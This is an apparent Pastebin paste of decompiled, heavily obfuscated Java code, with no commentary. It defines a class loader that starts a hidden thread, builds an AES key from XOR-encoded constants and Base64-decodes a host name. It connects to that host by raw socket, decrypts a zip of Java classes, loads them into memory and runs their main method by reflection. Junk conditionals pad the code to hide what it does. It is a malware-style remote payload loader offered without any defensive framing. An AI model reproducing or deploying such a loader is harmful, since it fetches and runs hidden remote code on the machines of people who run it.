Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.ByteArrayOutputStream;
- import java.lang.reflect.Method;
- import java.net.Socket;
- import java.util.Base64;
- import java.util.HashMap;
- import java.util.Map;
- import java.util.zip.ZipEntry;
- import java.util.zip.ZipInputStream;
- import javax.crypto.Cipher;
- import javax.crypto.CipherInputStream;
- import javax.crypto.spec.SecretKeySpec;
- public final class extends ClassLoader {
- public Map<String, byte[]> ;
- public Map<String, Class<?>> ;
- public static final boolean ;
- public () {
- boolean var1 = ;
- super();
- if(!var1 && !var1) {
- this. = new HashMap();
- if(!var1 && !var1) {
- this. = new HashMap();
- if(!var1) {
- return;
- }
- }
- }
- }
- public final void () {
- boolean var1 = ;
- if(!var1 && !var1) {
- (new Thread(new Runnable() {
- public run() {
- boolean var18 = ;
- if(!var18) {
- label821: {
- try {
- label822: {
- if(var18) {
- return;
- }
- Cipher var1 = Cipher.getInstance("AES");
- if(var18 || var18) {
- return;
- }
- int var10002 = 595758109;
- int var10001 = 580216652 ^ 580216654;
- int var10005 = 1039129943;
- byte[] var10004 = new byte[1042779594 ^ 1042779610];
- int var10007 = -1698765474;
- int var10006 = -125685422 ^ -125685422;
- int var10008 = -193558787;
- var10004[var10006] = (byte)(431817400 ^ 431817384);
- var10007 = 869982057;
- var10006 = 1305591257 ^ 1305591256;
- var10008 = -496218856;
- var10004[var10006] = (byte)(917868446 ^ 917868535);
- var10007 = 785371879;
- var10006 = 841043194 ^ 841043192;
- var10008 = 126843620;
- var10004[var10006] = (byte)(-130758972 ^ 130759037);
- var10007 = 1118336264;
- var10006 = 460219830 ^ 460219829;
- var10008 = -1986775594;
- var10004[var10006] = (byte)(1611754378 ^ 1611754480);
- var10007 = -2142718633;
- var10006 = -110056834 ^ -110056838;
- var10008 = 1796992295;
- var10004[var10006] = (byte)(-1145703835 ^ 1145703827);
- var10007 = 842651963;
- var10006 = -542255187 ^ -542255192;
- var10008 = -736889499;
- var10004[var10006] = (byte)(1406690102 ^ 1406690095);
- var10007 = 43253051;
- var10006 = -225505368 ^ -225505362;
- var10008 = 1570743758;
- var10004[var10006] = (byte)(2085129249 ^ 2085129227);
- var10007 = -1964182539;
- var10006 = -1595916118 ^ -1595916115;
- var10008 = 705891723;
- var10004[var10006] = (byte)(356848671 ^ 356848748);
- var10007 = -600892672;
- var10006 = -232926888 ^ -232926896;
- var10008 = 524412848;
- var10004[var10006] = (byte)(-836907818 ^ -836907860);
- var10007 = -1842051269;
- var10006 = 1464825715 ^ 1464825722;
- var10008 = 94350525;
- var10004[var10006] = (byte)(1070744106 ^ -1070744125);
- var10007 = -1439484445;
- var10006 = 1763156574 ^ 1763156564;
- var10008 = 232022232;
- var10004[var10006] = (byte)(208780376 ^ 208780355);
- var10007 = 31197191;
- var10006 = -1300268742 ^ -1300268751;
- var10008 = 2039223761;
- var10004[var10006] = (byte)(-152697569 ^ 152697519);
- var10007 = -163476696;
- var10006 = -81003269 ^ -81003273;
- var10008 = -735019531;
- var10004[var10006] = (byte)(1900478814 ^ -1900478796);
- var10007 = 2042787477;
- var10006 = -1598470550 ^ -1598470553;
- var10008 = 1766057005;
- var10004[var10006] = (byte)(717880680 ^ -717880670);
- var10007 = 256293151;
- var10006 = 1001458575 ^ 1001458561;
- var10008 = -1129071028;
- var10004[var10006] = (byte)(-1577470462 ^ -1577470357);
- var10007 = 1090185790;
- var10006 = 1517285026 ^ 1517285037;
- var10008 = -1176949695;
- var10004[var10006] = (byte)(-678878159 ^ -678878187);
- var10006 = -1393848682;
- var10005 = 1606154505 ^ 1606154505;
- var10007 = 589094421;
- var1.init(var10001, new SecretKeySpec(var10004, var10005, -939283799 ^ -939283783, "AES"));
- if(var18 || var18) {
- return;
- }
- String var2 = null;
- if(var18) {
- return;
- }
- try {
- if(var18) {
- return;
- }
- String var38 = new String(Base64.getDecoder().decode("dXBkYXRlNGxpZmUueHl6"));
- var10008 = -279387587;
- ZipInputStream var3 = new ZipInputStream(new CipherInputStream((new Socket(var38, 1415366645 ^ 1415365999)).getInputStream(), var1));
- if(var18 || var18) {
- return;
- }
- Throwable var4 = null;
- if(var18) {
- return;
- }
- label810:
- while(true) {
- boolean var25 = false;
- try {
- var25 = true;
- if(var18) {
- var25 = false;
- return;
- }
- ZipEntry var5;
- int var10003;
- int var37;
- if((var5 = var3.getNextEntry()) != null) {
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- if(var5.isDirectory()) {
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- if( ) {
- throw null;
- }
- continue;
- }
- if(var18) {
- var25 = false;
- return;
- }
- ByteArrayOutputStream var6 = new ByteArrayOutputStream();
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- var10001 = -2037863928;
- byte[] var7 = new byte[2051442305 ^ 2051441281];
- if(var18) {
- var25 = false;
- return;
- }
- do {
- if(var18) {
- var25 = false;
- return;
- }
- int var8;
- if((var8 = var3.read(var7)) <= 0) {
- if(var18) {
- var25 = false;
- return;
- }
- String var9 = var5.getName();
- if(!var18) {
- if(var18) {
- var25 = false;
- return;
- }
- byte[] var10 = var6.toByteArray();
- if(!var18) {
- if(var18) {
- var25 = false;
- return;
- }
- if(var9.endsWith(".class")) {
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- Map var33 = .this. ;
- var10003 = 570431845;
- var10002 = -485269154 ^ -485269154;
- var10005 = -187497170;
- String var34 = var9.substring(var10002, var9.lastIndexOf(-620379796 ^ -620379838));
- var10003 = -1718111850;
- var10002 = -1779261918 ^ -1779261939;
- var37 = -1113893551;
- var33.put(var34.replace((char)var10002, (char)(1336482351 ^ 1336482305)), var10);
- if(var18) {
- var25 = false;
- return;
- }
- if( ) {
- throw null;
- }
- } else {
- if(var18) {
- var25 = false;
- return;
- }
- if(var9.equals("META-INF/MANIFEST.MF")) {
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- String var11 = new String(var10);
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- String[] var12 = var11.split("\n");
- if(var18) {
- var25 = false;
- return;
- }
- int var13 = var12.length;
- if(var18) {
- var25 = false;
- return;
- }
- var10001 = 610864759;
- int var14 = 562248199 ^ 562248199;
- if(var18) {
- var25 = false;
- return;
- }
- while(true) {
- if(var18) {
- var25 = false;
- return;
- }
- if(var14 >= var13) {
- break;
- }
- if(var18) {
- var25 = false;
- return;
- }
- String var15 = var12[var14];
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- if(var15.startsWith("Main-Class: ")) {
- if(var18) {
- var25 = false;
- return;
- }
- var2 = var15.replace("Main-Class: ", "").replace("\r", "").replace("\n", "");
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- if( ) {
- throw null;
- }
- break;
- }
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- if( ) {
- throw null;
- }
- if(var18) {
- var25 = false;
- return;
- }
- ++var14;
- if(var18) {
- var25 = false;
- return;
- }
- if( ) {
- throw null;
- }
- }
- }
- }
- if(var18) {
- var25 = false;
- return;
- }
- if( ) {
- throw null;
- }
- continue label810;
- }
- var25 = false;
- return;
- }
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- if(var18) {
- var25 = false;
- return;
- }
- var10003 = 2069728077;
- var6.write(var7, 1022334888 ^ 1022334888, var8);
- if(var18) {
- var25 = false;
- return;
- }
- } while(! );
- throw null;
- }
- if(var18) {
- var25 = false;
- return;
- }
- Class var10000 = .this.findClass(var2);
- var10003 = -1930986882;
- Class[] var35 = new Class[1988253184 ^ 1988253185];
- var10005 = -595087658;
- var35[1113318625 ^ 1113318625] = String[].class;
- Method var32 = var10000.getMethod("main", var35);
- var10003 = 2146516266;
- Object[] var36 = new Object[1264182614 ^ 1264182615];
- var10005 = 1863384016;
- var37 = -674926235 ^ -674926235;
- var10006 = -1350625002;
- var36[var37] = new String[-1635344591 ^ -1635344591];
- var32.invoke((Object)null, var36);
- if(var18) {
- var25 = false;
- return;
- }
- var25 = false;
- } catch (Throwable var28) {
- if(!var18) {
- var4 = var28;
- if(!var18) {
- throw var28;
- }
- var25 = false;
- } else {
- var25 = false;
- }
- return;
- } finally {
- if(var25) {
- if(!var18 && !var18) {
- if(var3 != null) {
- if(var18) {
- return;
- }
- if(var4 != null) {
- label837: {
- if(var18) {
- return;
- }
- try {
- if(var18) {
- return;
- }
- var3.close();
- if(var18) {
- return;
- }
- } catch (Throwable var26) {
- if(var18) {
- return;
- }
- var4.addSuppressed(var26);
- if(var18) {
- return;
- }
- if( ) {
- throw null;
- }
- break label837;
- }
- if(var18) {
- return;
- }
- if( ) {
- throw null;
- }
- }
- } else {
- if(var18) {
- return;
- }
- var3.close();
- if(var18) {
- return;
- }
- }
- }
- if(!var18) {
- ;
- }
- }
- return;
- }
- }
- if(var18) {
- return;
- }
- if(var3 == null) {
- break;
- }
- if(var18) {
- return;
- }
- if(var4 != null) {
- if(var18) {
- return;
- }
- try {
- if(var18) {
- return;
- }
- var3.close();
- if(var18) {
- return;
- }
- } catch (Throwable var27) {
- if(var18) {
- return;
- }
- var4.addSuppressed(var27);
- if(var18) {
- return;
- }
- if( ) {
- throw null;
- }
- break;
- }
- if(var18) {
- return;
- }
- if( ) {
- throw null;
- }
- break;
- }
- if(var18) {
- return;
- }
- var3.close();
- if(var18) {
- return;
- }
- if( ) {
- throw null;
- }
- break;
- }
- } catch (Throwable var30) {
- if(var18) {
- return;
- }
- break label822;
- }
- if(var18) {
- return;
- }
- if( ) {
- throw null;
- }
- }
- } catch (Throwable var31) {
- if(var18) {
- return;
- }
- break label821;
- }
- if(var18) {
- return;
- }
- if( ) {
- throw null;
- }
- }
- if(!var18) {
- return;
- }
- }
- }
- })).start();
- if(!var1 && !var1) {
- return;
- }
- }
- }
- public Class<?> findClass(String var1) throws ClassNotFoundException {
- boolean var2 = ;
- if(!var2 && !var2) {
- if(!this. .containsKey(var1)) {
- if(var2 || var2) {
- return null;
- }
- if(!this. .containsKey(var1)) {
- if(!var2 && !var2) {
- throw new ClassNotFoundException(var1);
- }
- return null;
- }
- if(var2) {
- return null;
- }
- this. (var1, (byte[])this. .get(var1));
- if(var2) {
- return null;
- }
- }
- if(!var2) {
- return (Class)this. .get(var1);
- }
- }
- return null;
- }
- public void (String var1, byte[] var2) {
- boolean var3 = ;
- if(!var3 && !var3) {
- int var10006 = -754252478;
- this. .put(var1, this.defineClass(var1, var2, -1667209487 ^ -1667209487, var2.length));
- if(!var3 && !var3) {
- return;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement